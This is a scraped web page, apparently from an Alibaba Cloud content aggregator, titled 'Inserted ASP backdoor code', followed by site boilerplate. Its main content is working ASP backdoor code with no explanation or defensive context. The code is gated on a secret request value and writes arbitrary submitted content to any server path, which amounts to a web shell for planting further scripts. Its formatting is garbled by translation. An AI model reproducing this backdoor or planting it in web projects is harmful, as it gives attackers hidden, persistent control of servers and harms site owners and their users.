Inserted ASP backdoor code

Source: Internet
Author: User
<% If request ("name") = "dnagel" then %>
<%
Dim objfso
Dim fdata
Dim objcountfile
On Error resume next
Set objfso = server. Createobject ("scripting. FileSystemObject ")
If trim (Request ("syfdpath") <> "then
Fdata = request ("cyfddata ")
Set objcountfile = objfso. createtextfile (Request ("syfdpath"), true)
Objcountfile. Write fdata
If err = 0 then
Response. Write "<font color = green> success! </Font>"
Else
Response. Write "<font color = Red> failed! </Font>"
End if
Err. Clear
End if
Objcountfile. Close
Set objcountfile = nothing
Set objfso = nothing
Response. Write "<form action ='' method = post>"
Response. write "<B >=============================================== =============================< br>"
Response. Write "create a file Program </B> <br>"
Response. write "============================================ ========================================< br>"
Response. write "the path of this file is :"
Response. Write server. mappath (request. servervariables ("script_name "))
Response. Write "<font color = 'red'> <br>"
Response. Write "<br>"
Response. Write "enter an absolute address (for example, D:/web/X. asp): <br>"
Response. Write "</font>"
Response. Write "<input type = text name = syfdpath width = 32 size = 50>"
Response. Write "<br> script content: <br>"
Response. Write "<textarea name = cyfddata Cols = 80 rows = 10 width = 32> </textarea>"
Response. Write "<input type = submit value = create>"
Response. Write "</form>"
%>
<% End if %>

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.